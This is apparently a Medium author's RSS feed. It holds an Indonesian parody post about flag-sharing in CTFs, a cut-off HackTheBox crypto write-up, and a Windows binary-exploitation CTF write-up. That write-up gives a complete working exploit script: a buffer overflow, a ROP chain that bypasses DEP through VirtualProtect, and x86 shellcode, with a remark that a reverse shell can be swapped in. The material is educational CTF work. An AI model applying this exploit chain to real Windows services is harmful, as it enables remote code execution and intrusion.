<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Bill Elim on Medium]]></title>
        <description><![CDATA[Stories by Bill Elim on Medium]]></description>
        <link>https://medium.com/@wrth?source=rss-686d673f53f0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*PXYpe78KlJhfTn8W</url>
            <title>Stories by Bill Elim on Medium</title>
            <link>https://medium.com/@wrth?source=rss-686d673f53f0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 19:44:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wrth/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Apakah Repl Membunuh Etika dan Moralitas dalam CTF?]]></title>
            <link>https://wrth.medium.com/apakah-repl-membunuh-etika-dan-moralitas-dalam-ctf-2115b223c746?source=rss-686d673f53f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/2115b223c746</guid>
            <dc:creator><![CDATA[Bill Elim]]></dc:creator>
            <pubDate>Sun, 04 Jan 2026 07:14:16 GMT</pubDate>
            <atom:updated>2026-01-04T07:18:54.435Z</atom:updated>
            <content:encoded><![CDATA[<p>Berbagai Pandangan Moralitas Kelakuan Si Repl dalam CTF</p><p>Kalian pasti sudah terbiasa melihat orang jago di CTF, mau itu karena mereka jenius atau karena bantuan tools canggih. Namun, dengan kehadiran sosok bernama Robby Abdillah “Replicant” Zam Zami alias Repl, kita diperkenalkan pada metode baru: &quot;The Art of Flag Sharing.&quot;</p><p>Dengan menggunakan teknik &quot;Repl&quot;, kita dapat lebih cepat menyelesaikan soal CTF, bukan karena kita paham, tapi karena Repl sudah dapat bocoran duluan. Bahkan di suatu case, temannya Repl dapat menyelesaikan soal unsolvable sekalipun (karena dia bocorin flagnya buat temannya). Dengan menjadi seperti Repl, tentu saja kita dapat lebih cepat menyelesaikan soal CTF. Tetapi dengan kita menggunakan metode &quot;Repl&quot; secara berlebihan, kita jadi kebergantungan. Bukan kebergantungan pada AI, tapi kebergantungan pada &quot;orang dalam&quot;. Ketika ada kesulitan di suatu challenge, bukannya buka dokumentasi, Repl malah buka DM Discord temannya untuk sharing flag</p><p>Kalian juga sudah pasti tahu tentang bahaya kebergantungan ini. Orang normal menggunakan AI untuk mencari referensi atau bikin payload SQL Injection. Dulu kita buat payload manual, sekarang dipercepat AI. Nah, kalau Repl beda. Dia memperbudak posisinya. Sama halnya yang berbau dengan programming, bagi Repl, tools utama untuk membuat solver yang cepat dan efisien adalah dengan cara menggunakan solver orang lain. Meski perlu waktu lama untuk menutupi jejak plagiarism-nya (chatgpt please paraphrase this), tetap saja ini membantu dia terlihat &quot;jago&quot; di mata orang awam.</p><p>Nah sekarang, coba bayangkan dengan etika standar kompetisi yang melarang flag sharing. Tentu saja kalian tidak boleh curang. Dengan hal itu, sudah dipastikan orang memandang Repl sebagai anomaly. Moral ini hancur seketika ketika Repl menjadi Probset (Problem Setter). Alih-alih menjaga integritas soal, dia malah membagi-bagikan kunci jawaban ke teman-teman satu sirkelnya sendiri. Di sini stereotip terbentuk: Orang yang jago belum tentu jujur, tapi orang yang temenan sama Repl sudah pasti auto-win.</p><p>Lalu sebagai contoh, di perspektif lain. Ketika seseorang menyelesaikan soal CTF dengan &quot;Teknik Repl 1 Shot&quot;. Ada sebagian orang yang mati-matian begadang melakukan reverse engineering atau pwn, benar-benar menekuni kategori tersebut. Tiba-tiba, mereka melihat Repl (atau temannya yang dikasih bocoran) menyetor flag ke soal honeypot yang unsolvable. Orang yang jujur ini merasa bahwa selama ini yang dia pelajari sia-sia, jika modal menjadi &quot;Probset Cepu&quot; saja bisa membuat seseorang terlihat seperti dewa siber. Rasa sakit hatinya bukan karena kalah skill, tapi kalah koneksi.</p><blockquote>Di sini dilema kelakuan Repl muncul. Apa seharusnya sedari awal kita menendang dia dari komunitas? Lalu bagaimana dengan sistem sanksi? Ketika akhirnya dia tertangkap basah melakukan cheating dan leaking, bukannya instropeksi, Repl malah melakukan hal yang sangat pathetic.<br>Bayangkan, seorang &quot;sepuh&quot; yang ketahuan curang, akhirnya membuat drama yang memalukan. Misalnya bikin prank gajelas, sehingga muncul lah copypasta &quot;maaf ini sbnrnya prank yg kita rencanain ( mff sbnr2 nya )&quot;, moralitas hancur bukan karena AI, tapi karena satu orang yang rela menggadaikan harga diri demi poin virtual di scoreboard.</blockquote><p>Di perspektif lain, keberadaan Repl dalam CTF juga membantu perkembangan industri keamanan siber, khususnya di bidang Drama dan Investigasi. Terutama bagi panitia CTF, dengan adanya Repl yang overpower dalam hal ketidakjujuran, mau tidak mau panitia harus menyesuaikan peraturan dan membuat sistem monitoring yang lebih ketat agar tidak bisa ditembus oleh orang se-memalukan dia. Tentu dong, dengan adanya peningkatan kewaspadaan terhadap &quot;Manusia-manusia Repl&quot;, membuat para player jujur mau tidak mau jadi lebih waspada: bukan waspada terhadap celah keamanan, tapi waspada terhadap teman sendiri yang mungkin adalah cepu berkedok Probset.</p><p>Tulisan ini adalah parodi dari tulisan lord Repl sendiri btw</p><p><a href="https://medium.com/@AureliusMaximus/apakah-ai-membunuh-etika-dan-moralitas-dalam-ctf-e49107bd19d9">Apakah AI membunuh etika dan moralitas dalam CTF?</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2115b223c746" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Is It Too Late to Learn Windows Pwning in 2025?]]></title>
            <link>https://wrth.medium.com/is-it-too-late-to-learn-windows-pwning-in-2025-d4089f56a98f?source=rss-686d673f53f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4089f56a98f</guid>
            <dc:creator><![CDATA[Bill Elim]]></dc:creator>
            <pubDate>Sun, 31 Aug 2025 17:26:41 GMT</pubDate>
            <atom:updated>2025-08-31T17:26:41.711Z</atom:updated>
            <content:encoded><![CDATA[<p>No.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P3m8Y557FP1yHSjF9eRGNg.jpeg" /><figcaption>Ironically, this is elf binary exploitation but whatever, it’s a funny LiveOverFlow meme</figcaption></figure><p>It might be a little intimidating to learn Windows Binary Exploitation. But what many people don’t realize is that beginner Windows Pwn is just a matter of setup and equating the similarities between ELF and EXE pwning. This is shown in a recent <a href="https://itsecsummit.events/">ITSEC Summit CTF,</a> where a simple Windows ROP Binary Exploitation challenge gets a surprisingly low three solves, whereas a Linux equivalent of this challenge would’ve gotten 10x more solves.</p><p>In this article I will try to show you a quick windows pwn setup as well as solving <strong>Wind</strong>, a very educative Windows pwn chall from a recent ITSEC CTF 2025.</p><h3>Setup</h3><p>Let me show you the challenge first then we’ll work with our setup (I will give you the download links once the organizers made it available)</p><pre>#define _WIN32_WINNT 0x0601     <br>#include &lt;winsock2.h&gt;<br>#include &lt;ws2tcpip.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;time.h&gt;       <br>#include &lt;windows.h&gt;<br><br>#define BUFFER_SIZE 4096<br><br>#pragma comment(lib, &quot;ws2_32.lib&quot;)<br><br>static void handle_client(SOCKET client);   <br><br>static void wsa_perror(const char *msg)<br>{<br>    fprintf(stderr, &quot;[!] %s: %d\n&quot;, msg, WSAGetLastError());<br>}<br><br>int __cdecl main(int argc, char **argv)<br>{<br>    (void)argc; (void)argv;          /* unused */<br><br>    WSADATA wsa;<br>    if (WSAStartup(MAKEWORD(2, 2), &amp;wsa) != 0) {<br>        wsa_perror(&quot;WSAStartup failed&quot;);<br>        return 1;<br>    }<br><br>    struct addrinfo hints  = { 0 }, *result = NULL;<br>    hints.ai_family        = AF_INET;       /* IPv4 */<br>    hints.ai_socktype      = SOCK_STREAM;   /* TCP  */<br>    hints.ai_protocol      = IPPROTO_TCP;<br>    hints.ai_flags         = AI_PASSIVE;    /* for bind() */<br><br>    if (getaddrinfo(NULL, &quot;8433&quot;, &amp;hints, &amp;result) != 0) {<br>        wsa_perror(&quot;getaddrinfo failed&quot;);<br>        WSACleanup();<br>        return 1;<br>    }<br><br>    SOCKET listen_sock = socket(result-&gt;ai_family,<br>                                result-&gt;ai_socktype,<br>                                result-&gt;ai_protocol);<br>    if (listen_sock == INVALID_SOCKET) {<br>        wsa_perror(&quot;socket() error&quot;);<br>        freeaddrinfo(result);<br>        WSACleanup();<br>        return 1;<br>    }<br><br>    if (bind(listen_sock, result-&gt;ai_addr, (int)result-&gt;ai_addrlen) == SOCKET_ERROR) {<br>        wsa_perror(&quot;bind() failed&quot;);<br>        freeaddrinfo(result);<br>        closesocket(listen_sock);<br>        WSACleanup();<br>        return 1;<br>    }<br><br>    freeaddrinfo(result); <br><br>    if (listen(listen_sock, SOMAXCONN) == SOCKET_ERROR) {<br>        wsa_perror(&quot;listen() failed&quot;);<br>        closesocket(listen_sock);<br>        WSACleanup();<br>        return 1;<br>    }<br><br>    puts(&quot;[+] Server is up and running ...&quot;);<br><br>    for (;;) {<br>        struct sockaddr_in  cli_addr;<br>        int                 cli_len = sizeof(cli_addr);<br><br>        puts(&quot;[+] Waiting for incoming connections 8433...&quot;);<br>        SOCKET client_sock = accept(listen_sock,<br>                                    (struct sockaddr *)&amp;cli_addr,<br>                                    &amp;cli_len);<br>        if (client_sock == INVALID_SOCKET) {<br>            wsa_perror(&quot;accept() failed&quot;);<br>            break;                     <br>        }<br><br>        char ipstr[INET_ADDRSTRLEN];<br>        inet_ntop(AF_INET, &amp;cli_addr.sin_addr, ipstr, sizeof ipstr);<br>        printf(&quot;[+] Received a client connection from %s:%u\n&quot;,<br>               ipstr, ntohs(cli_addr.sin_port));<br><br>        handle_client(client_sock);<br>    }<br><br>    closesocket(listen_sock);<br>    WSACleanup();<br>    return 0;<br>}<br><br>void handle_time(SOCKET client)<br>{<br>    char buf[128];<br>    time_t now = time(NULL);<br>    snprintf(buf, sizeof(buf), &quot;[TIME] %s&quot;, ctime(&amp;now));<br>    send(client, buf, (int)strlen(buf), 0);<br>}<br><br>void handle_info(SOCKET client)<br>{<br>    char buf[512];<br>    DWORD pid = GetCurrentProcessId();<br>    char exePath[MAX_PATH] = {0};<br><br>    GetModuleFileNameA(NULL, exePath, MAX_PATH);<br><br>    snprintf(buf, sizeof(buf),<br>             &quot;[INFO] PID: %lu | Executable: %s\n&quot;,<br>             (unsigned long)pid,<br>             exePath);<br><br>    send(client, buf, (int)strlen(buf), 0);<br>}<br><br>int check_file(const char *filename)<br>{<br>    FILE *fp = fopen(filename, &quot;r&quot;);<br>    if (!fp) {<br>        return 0;  // false = does not exist<br>    }<br>    fclose(fp);<br>    return 1;  // true = exists<br>}<br><br>void handle_open(SOCKET client, const char *buff)<br>{<br>    char filename[256];<br><br>    sscanf(buff + 5, &quot;%s&quot;, filename);<br><br>    // Check if the file exists<br>    if (!check_file(filename)) {<br>        const char *msg_fail = &quot;[ERR] Cannot open the file\n&quot;;<br>        send(client, msg_fail, (int)strlen(msg_fail), 0); <br>        return;<br>    }<br><br>    // If the file exists, inform the client<br>    const char *msg_success = &quot;[ERR] Cannot open the file\n&quot;;<br>    send(client, msg_success, (int)strlen(msg_success), 0);<br>}<br><br>void handle_exit(SOCKET client)<br>{<br>    const char *msg = &quot;[*] Goodbye.\n&quot;;<br>    send(client, msg, (int)strlen(msg), 0);<br>}<br><br>void handle_unknown(SOCKET client)<br>{<br>    const char *msg = &quot;[ERR] Unknown command.\n&quot;;<br>    send(client, msg, (int)strlen(msg), 0);<br>}<br><br><br>static void handle_client(SOCKET client)<br>{<br>    char  buf[BUFFER_SIZE];<br>    int   n_recv;<br><br>    for (;;) {<br>        n_recv = recv(client, buf, sizeof(buf) - 1, 0);<br><br>        if (n_recv == 0) {<br>            puts(&quot;[*] Client disconnected&quot;);<br>            break;<br>        }<br>        if (n_recv == SOCKET_ERROR) {<br>            wsa_perror(&quot;recv() failed&quot;);<br>            break;<br>        }<br><br>        buf[n_recv] = &#39;\0&#39;;<br>        printf(&quot;[&gt;] Received\n&quot;);<br><br>        // Command dispatch<br>        if (_strnicmp(buf, &quot;TIME&quot;, 4) == 0) {<br>            handle_time(client);<br>        }<br>        else if (_strnicmp(buf, &quot;INFO&quot;, 4) == 0) {<br>            handle_info(client);<br>        }<br>        else if (_strnicmp(buf, &quot;OPEN &quot;, 5) == 0) {<br>            <br>            handle_open(client, buf);<br>        }<br>        else if (_strnicmp(buf, &quot;EXIT&quot;, 4) == 0) {<br>            handle_exit(client);<br>            break;<br>        }<br>        else {<br>            handle_unknown(client);<br>        }<br>    }<br><br>    shutdown(client, SD_BOTH);<br>    closesocket(client);<br>} </pre><p>The challenge is not as big as it looks, if you look closely, <strong>this binary is also a server, </strong>which actually will make our setup easier. Since this binary is a listener, we can simply run this in a debugger and connect to it via remote() in pwntools, we don’t have to spawn the process manually (pwntools don’t have windows support so you have to use <a href="https://github.com/masthoon/pwintools?tab=readme-ov-file">pwintools</a>) which allows for a very smooth interaction.</p><p>So now let’s set it up, first get a windows debugger, here we will use <a href="https://sourceforge.net/projects/x64dbg/">x64dbg</a>, but the binary is 32-bit, fortunately x64dbg is bundled with x32dbg which what we’ll use for this demonstartion. Old writeups will told you to use ImmunityDebugger, but it’s kinda dead, no need to use it.</p><p>Once you get x32dbg to run, open the chall.exe file and run it, there should be a window showing you that the output from the binary that says the binary is up and</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L60bKBCoe0jyPNCukCJ21g.png" /><figcaption>The binary is up and running</figcaption></figure><p>Now we’ll create a python script to interact with the binary with pwntools, in fact let’s just exploit it right away, the main vulnerability of the binary is in the handle_open function</p><pre>...<br>#define BUFFER_SIZE 4096<br>...<br><br>void handle_open(SOCKET client, const char *buff)<br>{<br>    char filename[256];<br><br>    sscanf(buff + 5, &quot;%s&quot;, filename);<br><br>    // Check if the file exists<br>    if (!check_file(filename)) {<br>   ...<br>}<br><br>static void handle_client(SOCKET client)<br>{<br>    char  buf[BUFFER_SIZE];<br>    int   n_recv;<br>    for (;;) {<br>        n_recv = recv(client, buf, sizeof(buf) - 1, 0);<br>        ...<br>        else if (_strnicmp(buf, &quot;OPEN &quot;, 5) == 0) {<br>            <br>            handle_open(client, buf);<br>        }<br>        ...<br>}</pre><p>As you can see, the filename size is 256 bytes, but the buffer, which is our input from the handle_client function, can take up to 4096 bytes, which gives a clear buffer overflow vulnerability</p><p>Let’s write a quick script to test this out</p><pre>from pwn import *<br><br>r = remote(&quot;172.26.240.1&quot;, 8433)<br>pad = b&quot;A&quot;*(256+12)<br>retaddr = p32(0xDEADBEEF)<br>r.sendline(b&quot;OPEN &quot; + pad + retaddr)<br>r.interactive()</pre><p>You can adjust the IP address to your own, and if once you run it and check the debugger, you can see that we have successfully triggered the overflow</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/0*-ZDalRJG4baicWZ2" /><figcaption>Return address has been manipulated to DEADBEEF</figcaption></figure><h3>Exploit</h3><p>We can see our buffer here starts at 0019ed34</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/251/0*ifA0-2CIdA96972j" /></figure><p>Now all we need to do is just ROP our way to flag, in Windows Binary Exploitation, there also exists a couple binary protection just like in ELF such as NX, which in windows is called Data Execution Prevention (DEP). That being said, the typical method used for Windows pwn is still by shellcoding, the reason for that is that ropping in windows is way longer and way harder than linux, thus it is more worthwhile to use the ROP to just bypass the DEP, and then put your main exploit in the shellcode.</p><p>To give you an idea about how to bypass DEP using ROP, you can read this insightful article</p><p><a href="https://fahrishih.medium.com/bypassing-windows-dep-data-execution-prevention-using-rop-return-oriented-programming-6e288515716a">https://fahrishih.medium.com/bypassing-windows-dep-data-execution-prevention-using-rop-return-oriented-programming-6e288515716a</a></p><p>In short, there are multiple windows function that we can call to perform to bypass the DEP, however, most of these functions are inside kernel32.dll, which is like a LIBC in ELF, and ASLR is also enabled, which means that we need to leak the address first, but we want to minimize the amount of work, luckily for us, the binary actually have the pointer to VirtualProtect,VirtualProtect are windows equivalent of mprotect, which is a function to create an rwx region to run our own shellcode. Since the binary have the pointer it is really handy for us such that we don’t have to leak any address.</p><p>We can check for symbols at the symbols tab on x32dbg, click on chall.exe, and we can see the symbol for kernel32.VirtualProtect at address 0102F0F0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ynKfQHHii4KPAJ3sC6QjOg.png" /><figcaption>Pointer to VirtualProtect on the symbols tab</figcaption></figure><p>Luckily for us, the above article also gives us demonstration on how to use theVirtualProtect function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*O4XtJI5UnGZCglcya6NuMQ.png" /><figcaption>Stack Layout Goal from the <a href="https://fahrishih.medium.com/?source=post_page---byline--6e288515716a---------------------------------------">Fahri Shihab</a>’s article</figcaption></figure><p>The next piece we need to get is the pushad instruction, since it doesn’t exist in the chall.exe, we need to get it from another library again, we can start by searching which library contains the pushadinstruction, you can go back to the symbols tab, double click the library on the left, and press ctrl+f to search for the instruction, we can see that most of the pushadinstruction lives in ntdll.dll</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*biRoD5hn3TEEb_nFWPRkSQ.png" /><figcaption>Searching pushad in ntdll.dll gives a lot of results</figcaption></figure><p>There are multiple pointers to ntdll in chall.exe, which means that we don’t have to leak any address again, and after some consideration, I decided to use the pointer ntdll.HeapAlloc-199319 to get the pushad address, you can use other pointers of your choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/0*Gv-g1QPtyjm1HyJq" /><figcaption>pushad at ntdll.HeapAlloc-199319</figcaption></figure><p>Lastly we need to manipulate the registers, it’s just classic rop method where you first get some gadgets using ROPgadgetand proceed to mix and match your gadgets to control all of the register, it is a little bit tricky since the buffer is copied using scanfwhich means that we can’t use whitespace nor null bytes (which is the reason we’re using pushad in the first place), in windows there are also some badchars that just fails your exploit for some arbitrary reason, which usually are whitespace related as well, but in the article above one of the method used to circumvent those things is using NEG and XCHG</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/0*Mbc7eSvhOs76TIRG" /></figure><p>I won’t dive too deep to the ropchain crafting since it is the exact same process as usual linux binary exploitation, but you got the idea.</p><p>Since the binary is a server, we can’t necessarily just spawn powershell.exe since we will not be able to interact with it, therefore to actually gain a shell, we should execute a reverse shell.</p><p>Once we can control the registers and execute the pushad instructions, it will jump to the address of the buffer + wherever offset we set it and we should write that region to our shellcode, I used this tool to generate the shellcode <a href="https://github.com/ommadawn46/win-x86-shellcoder">https://github.com/ommadawn46/win-x86-shellcoder</a>, you can of course use msfvenom as it is a more popular tool, during the debugging process I’ve found that one of the badchars are 0x0C, luckily the repository above tell us exactly how to solve this problem</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxBQsjAcfGmjKRKH6KG9AQ.png" /></figure><p>With everything said and done we can now craft our final payload</p><pre>from pwn import *<br><br>r = remote(&quot;172.26.240.1&quot;, 8433)<br># r = remote(&quot;54.169.30.40&quot;, 8433)<br># shellcode = <br>addrvirtualprotect = p32(0x0102F0F0)<br>startingaddress = p32(0x0019ed40)<br>popecx = p32(0x010118ee)<br>pop_ebp = p32(0x0101100f)<br>pop_ebx = p32(0x01011fd2)<br>pop_edi = p32(0x01013365)<br>pop_esi = p32(0x01011aed)<br>pop_eax_pop_ebp = p32(0x01017157)<br>xchg_ecx_eax = p32(0x0102c544)<br>xchg_ebp_eax = p32(0x01013990)<br>xchg_edi_eax = p32(0x0102da72)<br>add_ebx_eax = p32(0x0102c54f)<br>add_edx_ebp = p32(0x0102c557 )<br>add_esi_eax_pop_pop = p32(0x0101473f)<br>negeax_deceax_popebp = p32(0x01011ccd) <br>empty_edx = p32(0x0101b3ae)<br>mov_eax_dword_ecx = p32(0x01018ffb)<br>inc_esi_add_al_5e = p32(0x0101e62f)<br>ret = p32(0x01011010)<br>add_edi_esi = p32(0x010121d0)<br>jmp_eax = p32(0x0101313b)<br><br>shellcode = b&#39;\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebT\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0NN\x8bv\x0e\x8bv\x1cVF\x8b^\x07N\x0f\xb6F\x1e\x89E\xf8\x8bC&lt;\x8b|\x03x\x01\xdf\x8bO\x18O\x8bG!G\x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x03\x01\xc2\xeb\xf4\xeb.^\x8b6\xeb\xb9;T$(u\xd6\x8bW$\x01\xdaf\x8b\x04Jf\x89\xc1\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8L\x89D$!D^aYZQ\xff\xe0\xb8\x01\x02\x02\x025\x01\x03\x03\x03Phcalc\x89\xe11\xd2RQhq\x90H\xaa\xffU\x041\xc9Qj\xffh\x97\xaae}\xffU\x04&#39;<br>pad = b&quot;A&quot;*(256) + b&quot;ABCDEFGHIJKL&quot; <br>retaddr = p32(0x0019ed40)<br>payload = pad<br><br>heapalloc = p32(0x0102F0D4)<br>offset = 199319<br><br>ropchain = b&quot;&quot;<br><br># EDI = address of pushad<br>ropchain += popecx<br>ropchain += heapalloc<br>ropchain += mov_eax_dword_ecx<br>ropchain += pop_esi<br>ropchain += p32(0xFFFFFFFF-0x5e)<br>ropchain += inc_esi_add_al_5e<br>ropchain += add_esi_eax_pop_pop<br>ropchain += b&quot;AAAA&quot;<br>ropchain += b&quot;AAAA&quot;<br>ropchain += pop_edi<br>ropchain += p32(0xFFFFFFFF-offset)<br>ropchain += add_edi_esi<br>ropchain += xchg_edi_eax<br>ropchain += xchg_ebp_eax<br><br><br># ESI = address of VirtualProtect<br>ropchain += popecx<br>ropchain += addrvirtualprotect<br>ropchain += mov_eax_dword_ecx<br><br>ropchain += xchg_edi_eax #real eax to edi<br>ropchain += xchg_ebp_eax #pushad to eax<br>ropchain += xchg_ecx_eax #pushad to ecx<br>ropchain += xchg_edi_eax #real eax from edi back to eax<br><br>ropchain += pop_esi<br>ropchain += p32(0xFFFFFFFF-0x5e)<br>ropchain += inc_esi_add_al_5e<br>ropchain += add_esi_eax_pop_pop<br>ropchain += b&quot;AAAA&quot;<br>ropchain += b&quot;AAAA&quot;<br><br>ropchain += xchg_ecx_eax # pushad to eax<br>ropchain += xchg_edi_eax # pushad back to edi<br><br># ECX = address of shellcode/buffer<br>ropchain += popecx<br>ropchain += p32(0xffe613cf-600) # negation of shellcode/buffer address<br>ropchain += xchg_ecx_eax<br>ropchain += negeax_deceax_popebp<br>ropchain += p32(0x41414141)<br>ropchain += xchg_ecx_eax<br><br># EDX = 0x40<br>ropchain += pop_eax_pop_ebp<br>ropchain += p32(0xFFFFFFbf)<br>ropchain += p32(0x41414141)<br>ropchain += negeax_deceax_popebp<br>ropchain += p32(0x41414141)<br>ropchain += xchg_ebp_eax<br>ropchain += empty_edx<br>ropchain += add_edx_ebp<br><br># EBX = Length (this one should be around 0x600) #length<br>ropchain += pop_eax_pop_ebp<br>ropchain += p32(0xFFFFF9E0)<br>ropchain += p32(0x41414141)<br>ropchain += negeax_deceax_popebp<br>ropchain += p32(0x41414141)<br>ropchain += pop_ebx<br>ropchain += p32(0xffffffff)<br>ropchain += add_ebx_eax<br><br># EBP = return address should be similar to ecx<br>ropchain += pop_ebp<br>ropchain += p32(0xffe613c0-600) # negation of shellcode/buffer address<br>ropchain += xchg_ebp_eax<br>ropchain += negeax_deceax_popebp<br>ropchain += p32(0x62501022)<br>ropchain += xchg_ebp_eax<br><br>ropchain += xchg_edi_eax # pushad to eax<br><br># EDI = nop<br>ropchain += pop_edi<br>ropchain += ret<br><br># PUSHAD<br>ropchain += jmp_eax # pushad<br><br>payload = b&quot;OPEN &quot; + pad + ropchain + b&quot;\x90&quot;*400 + shellcode<br>r.sendline(payload)<br>r.interactive()</pre><p>When you run the above exploit, it will spawn a calc.exe process, once it is successful, you can simply change the shellcode to a reverse shell and connect to the remote to get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VYyAW6cEjGO0KZS4189jLw.png" /><figcaption>The exploit successfully spawning calc.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/0*sy0q3qn5c4IBFVDY" /><figcaption>Real screenshot during the CTF where we successfully execute the reverse shell and get the flag</figcaption></figure><h3>Conclusion</h3><p>Since I too am not familiar with windows binary exploitation before this challenge, I am quite surprised by how similar the flow is especially for a simpler vulnerability like buffer overflow, things like heap and kernel might be way different, but I believe this is a good start for learning windows binary exploitation</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4089f56a98f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox University 2024 Writeups: Hardest Crypto and Hardest Blockchain]]></title>
            <link>https://wrth.medium.com/hackthebox-university-2024-writeups-hardest-crypto-and-hardest-blockchain-090171a75db2?source=rss-686d673f53f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/090171a75db2</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[hackthebox-challenge]]></category>
            <dc:creator><![CDATA[Bill Elim]]></dc:creator>
            <pubDate>Thu, 19 Dec 2024 12:31:41 GMT</pubDate>
            <atom:updated>2024-12-19T12:31:41.046Z</atom:updated>
            <content:encoded><![CDATA[<p>I was quite proud to be able to solve all the Crypto and Blockchain challenges, I decided to make a writeup for two challs, Crypto — Clutch (~15 solves) and Blockchain — Stargazer (~30 solves), both of which are the challenges with least amount of solves.</p><p>The crypto solve especially allows my team to secure the top 10 place. It also allows me to become the MVP in this CTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OyJb4lrFtJy86UcQ" /></figure><h3>Cryptography— Clutch</h3><p>We are given the following script, which claims that it was an implementation of the Frame-based QKD protocol (Later we will learn that you don’t really need to understand the Quantum stuff to solve this so don’t be so intimidated)</p><pre>from hashlib import sha256<br>from random import uniform<br>import json<br><br>from Crypto.Util.Padding import unpad<br>from Crypto.Cipher import AES<br><br>from secret import SECRET_MESSAGE<br>from alice import Alice<br>from bob import Bob<br><br>def json_print(message):<br>    print(json.dumps(message))<br><br># Python implementation of the Frame-based QKD protocol described here : https://www.mdpi.com/2073-8994/12/6/1053<br>class QKD:<br>    def __init__(self, Alice, Bob, pairs = 256, security = 256):<br>        self.Alice = Alice(pairs)<br>        self.Bob = Bob(uniform(0, 1))<br><br>        self.security = security<br><br>    def check_status(self):<br>        return {&quot;status&quot;: &quot;OK&quot;, &quot;QBER&quot;: self.Bob.depolarizing_probability}<br><br>    def execute(self):<br>        pairs = self.Alice.prepare()<br>        double_matchings = self.Bob.measure(pairs)<br><br>        if not len(double_matchings):<br>            return {&quot;error&quot;: &quot;Key exchange failed, there&#39;s no double matchings. Retrying...&quot;}<br>    <br>        frames, usable_frames, auxiliary_frames = self.Alice.compute_frames(double_matchings)<br><br>        if not len(frames):<br>            return {&quot;error&quot;: &quot;Key exchange failed, there&#39;s no frames. Retrying...&quot;}<br><br>        bob_sifting_strings = self.Bob.compute_sifting_strings(frames)<br><br>        alice_sifting_strings, ambiguous_frames = self.Alice.error_correction(usable_frames, auxiliary_frames, bob_sifting_strings)<br><br>        alice_key = self.Alice.generate_shared_key(frames, usable_frames, ambiguous_frames, alice_sifting_strings, bob_sifting_strings)<br><br>        bob_key = self.Bob.generate_shared_key(frames, ambiguous_frames, bob_sifting_strings)<br><br>        if len(alice_key) &lt; self.security:<br>            return {&quot;error&quot;: &quot;Key exchange failed, the instance does not satisfy the security requirements. Retrying...&quot;}<br><br>        if alice_key != bob_key:<br>            return {&quot;error&quot;: &quot;Key exchange failed, both keys are not equal. Retrying...&quot;}<br><br>        bob_sifting_strings = list(bob_sifting_strings.values())<br><br>        public = {<br>            &quot;double_matchings&quot;: double_matchings,<br>            &quot;frames&quot;: frames,<br>            &quot;sifting_strings&quot;: bob_sifting_strings,<br>            &quot;ambiguous_frames&quot;: ambiguous_frames<br>        }<br><br>        self.shared_key = alice_key.encode()<br><br>        return public<br><br>    def decrypt_command(self, encrypted_command):<br>        key = sha256(self.shared_key).digest()<br><br>        cipher = AES.new(key, AES.MODE_ECB)<br>        command = unpad(cipher.decrypt(encrypted_command), 16)<br>    <br>        return command.decode()<br><br><br>def main():<br>    json_print({&quot;info&quot;: &quot;To all ships of The Frontier Board, use your secret key to get the coordinates of The Starry Spurr&quot;})<br>    <br>    json_print({&quot;info&quot;: &quot;Initializing QKD...&quot;})<br><br>    while True:<br>        qkd = QKD(Alice, Bob)<br>        public = qkd.execute()<br>        <br>        json_print(public)<br><br>        if &quot;error&quot; not in public:<br>            status = qkd.check_status()<br>            json_print(status)<br>            break<br><br>    json_print({&quot;info&quot;: &quot;Initialization completed. Only trusted ships can send valid commands&quot;})<br><br>    while True:<br>        try:<br>            data = json.loads(input(&quot;&gt; &quot;))<br>            encrypted_command = bytes.fromhex(data[&quot;command&quot;])<br>            assert len(encrypted_command) % 16 == 0<br>        except:<br>            json_print({&quot;error&quot;: &quot;Invalid input. Please, try again&quot;})<br>            break<br>            continue<br><br>        command = 